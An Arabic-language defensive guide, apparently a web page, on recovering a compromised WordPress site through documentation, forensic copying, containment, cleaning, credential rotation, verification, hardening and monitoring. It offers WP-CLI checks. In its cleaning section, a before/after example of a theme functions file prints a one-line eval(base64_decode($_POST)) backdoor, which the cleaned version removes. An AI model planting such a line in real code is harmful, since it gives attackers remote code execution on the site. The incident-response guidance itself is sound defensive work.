استعادة موقع ووردبريس مخترق
منهجية من 8 خطوات: توثيق، نسخ جنائي، احتواء، تنظيف من مصادر نظيفة، تغيير المفاتيح السرية، تحقق، تحصين، دون حذف متسرع أو وعود مستحيلة.
قبل أن تبدأ
جهّز هذه الأمور لتتابع الخطوات بهدوء:
- وصول الاستضافة (لوحة التحكم أو SSH/FTP)
- نسخة احتياطية إن وجدت، دون الاعتماد عليها وحدها
- جهاز نظيف لتغيير كلمات المرور
- مكان تدوّن فيه كل خطوة بتوقيتها
وثّق قبل أن تلمس شيئًا
أول رد فعل طبيعي هو الحذف السريع، وهو أكثر ما يضر الاستعادة. قبل أي تعديل، التقط صورًا للأعراض، واحفظ روابط الصفحات الغريبة، ودوّن وقت أول ملاحظة، واحتفظ برسائل الاستضافة أو جوجل كما هي.
- 01توثيق
- 02نسخة جنائية
- 03احتواء
- 04تنظيف
- 05تغيير الأسرار
- 06تحقق
- 07تحصين
- 08مراقبة
هذه التفاصيل تساعد لاحقًا في معرفة متى بدأت الإصابة، وأي إضافة أو حساب كان مدخلها، وتلزمك عند طلب المراجعة من جوجل أو عند التواصل مع الاستضافة.
سجّل أيضًا ما لاحظه زوارك: هل يحدث التحويل من الجوال فقط؟ هل تظهر الإعلانات لمن يأتي من جوجل؟ هذه الملاحظات تختصر ساعات من البحث.
انسخ نسخة جنائية معزولة
خذ نسخة كاملة من الملفات وقاعدة البيانات كما هي الآن، بما فيها الإصابة، وخزّنها خارج الخادم. هذه النسخة ليست للاستعادة، بل للتحليل والرجوع إليها إن احتجت إلى دليل أو إلى ملف حذفته بالخطأ.
لا تفتح ملفات PHP المشبوهة على جهازك ولا تشغّلها، واحفظ النسخة مضغوطة ومسماة بالتاريخ.
wp db export incident-$(date +%F).sqlشغّله من مجلد الموقع، ثم انقل الملف خارج الخادم.
احتوِ الضرر
الهدف هنا إيقاف الضرر على زوارك وسمعتك، لا التنظيف بعد. فعّل وضع الصيانة إن كان الموقع يحوّل الزوار أو ينشر برمجيات ضارة، وأوقف الحملات الإعلانية مؤقتًا كي لا تدفع مقابل زيارات تُسرق.
إن كان الموقع يرسل بريدًا مزعجًا، أوقف الإرسال من الاستضافة. وإن طلبت الاستضافة إجراءً محددًا، نفّذه ووثّقه.
تجنّب في هذه المرحلة حذف الملفات أو تغيير القوالب؛ فالاحتواء يوقف النزيف دون أن يمحو الأدلة.
نظّف من مصادر نظيفة فقط
لا تحاول «تنظيف» ملف ووردبريس أساسي سطرًا بسطر. استبدل النواة والإضافات والقوالب بنسخ جديدة من مصادرها الرسمية، فهذا أسرع وأضمن من البحث عن كل شيفرة دخيلة.
<?php
/* Theme functions */
add_action('init', 'theme_setup');
@eval(base64_decode($_POST['x']));
function theme_setup() { … }<?php
/* Theme functions */
add_action('init', 'theme_setup');
function theme_setup() { … }قارن الملفات ببصماتها الأصلية بدل التخمين: أي ملف أساسي تغيّر أو ملف لا ينتمي إلى ووردبريس يستحق الفحص. وابحث خصوصًا عن ملفات PHP داخل مجلد الرفع، فهذا المجلد لا يحتاج إليها أصلًا.
احذف الإضافات والقوالب التي لا تستخدمها بدل تعطيلها فقط، فالمعطّل يبقى على الخادم ويمكن استغلاله. ولا تنسَ قاعدة البيانات: الحسابات والإعدادات والمقالات قد تحمل الإصابة أيضًا.
wp core verify-checksumsيُظهر أي ملف أساسي عُدّل أو أُضيف.
wp plugin verify-checksums --allيعمل مع الإضافات المنشورة في مستودع ووردبريس.
find wp-content/uploads -type f -name "*.php"أي نتيجة هنا تستحق الفحص فورًا.
غيّر كل الأسرار من جهاز نظيف
بعد التنظيف غيّر كل بيانات الدخول: لوحة الاستضافة، وحسابات ووردبريس الإدارية، وقاعدة البيانات، وFTP وSSH، ومفاتيح ووردبريس السرية (salts) التي تُنهي كل الجلسات المفتوحة.
افعل ذلك من جهاز تثق بسلامته؛ فإن كان جهازك هو مصدر التسريب، ستُسرق كلمات المرور الجديدة أيضًا.
راجع قائمة المديرين واحذف أي حساب لا تعرفه، وراجع البريد المرتبط بالحسابات المهمة، فبعض المخترقين يغيّرونه ليستعيدوا الدخول لاحقًا.
wp config shuffle-saltsيُخرج كل المستخدمين، بمن فيهم المخترق.
wp user list --role=administrator --fields=ID,user_login,user_email,user_registeredابحث عن حساب لم تنشئه أو تاريخ تسجيل غريب.
تحقق قبل أن تعلن النظافة
الموقع «يعمل» لا يعني أنه نظيف. اختبره كزائر عادي من الجوال ومن الكمبيوتر، ومن نتيجة بحث في جوجل، ودون تسجيل دخول؛ لأن كثيرًا من الإصابات لا تظهر إلا في هذه الحالات.
- زائر من جوجل على الجوالنظيف
- زائر مباشر على الكمبيوترنظيف
- دون تسجيل دخولنظيف
- مشكلات الأمان في Search Consoleنظيف
- مهام مجدولة غريبةيحتاج مراجعة
أعد الفحص بأدوات الفرز، وراجع قسم مشكلات الأمان في Search Console، وتأكد من عدم وجود مهام مجدولة أو ملفات جديدة ظهرت بعد التنظيف.
لا تطلب مراجعة جوجل إلا بعد تحقق كامل؛ فطلب مبكر يُرفض، وقد يؤخر رفع التحذير.
wp cron event listابحث عن مهام بأسماء غريبة تعيد زرع الإصابة.
حصّن لمنع التكرار
معظم الاختراقات تعود من الباب نفسه: إضافة مهملة بها ثغرة معروفة، أو كلمة مرور مكررة، أو حساب قديم لم يُحذف. أغلق هذا الباب تحديدًا قبل أي تحسين آخر.
بعدها: فعّل الترقيعات الأمنية التلقائية، والتحقق بخطوتين للمديرين، وامنع تنفيذ PHP في مجلد الرفع، وأعدّ نسخًا احتياطية يومية خارج الخادم وجرّب استعادتها.
راقب بهدوء
راقب الحسابات والملفات والروابط الخارجة خلال الشهرين التاليين للحادثة؛ فبعض الإصابات تترك بابًا خلفيًا صغيرًا يُستخدم بعد أسابيع.
أي تغيير لا تجد له تفسيرًا، كمدير جديد أو ملف غريب أو تحويل مفاجئ، يعني العودة إلى الخطوة الأولى بهدوء، لا الذعر.
إجابات قبل أن تتابع
من ساعات إلى أيام، بحسب حجم الموقع وانتشار الإصابة. الاستعجال على حساب التحقق هو أكثر ما يعيد الاختراق.
إعادة التثبيت النظيفة خيار قوي بشرطين: نسخة جنائية أولًا، وفحص قاعدة البيانات قبل نقلها، لأن الشيفرة الدخيلة تعيش فيها أيضًا.
ليس قبل أن تعرف متى بدأت الإصابة. كثير من النسخ أُخذت بعد الاختراق، فتعيد الإصابة نفسها مع الثغرة نفسها.
تساعد في الاكتشاف، لكنها لا ترى كل شيء: الشيفرات المشفّرة وإصابات قاعدة البيانات والحسابات المخفية تحتاج إلى مراجعة يدوية.
عند غياب النسخ، أو تكرار الإصابة بعد التنظيف، أو حساسية البيانات كمتجر أو عضويات. أحضر التوثيق الذي جمعته، فهو يختصر الوقت والتكلفة.
مصادر للمتابعة
- WordPress: FAQ: My site was hackedمصدر إضافي يحتاج إلى مراجعة مستقلة.
- Google Search Console: hacked content & reviewمصدر إضافي يحتاج إلى مراجعة مستقلة.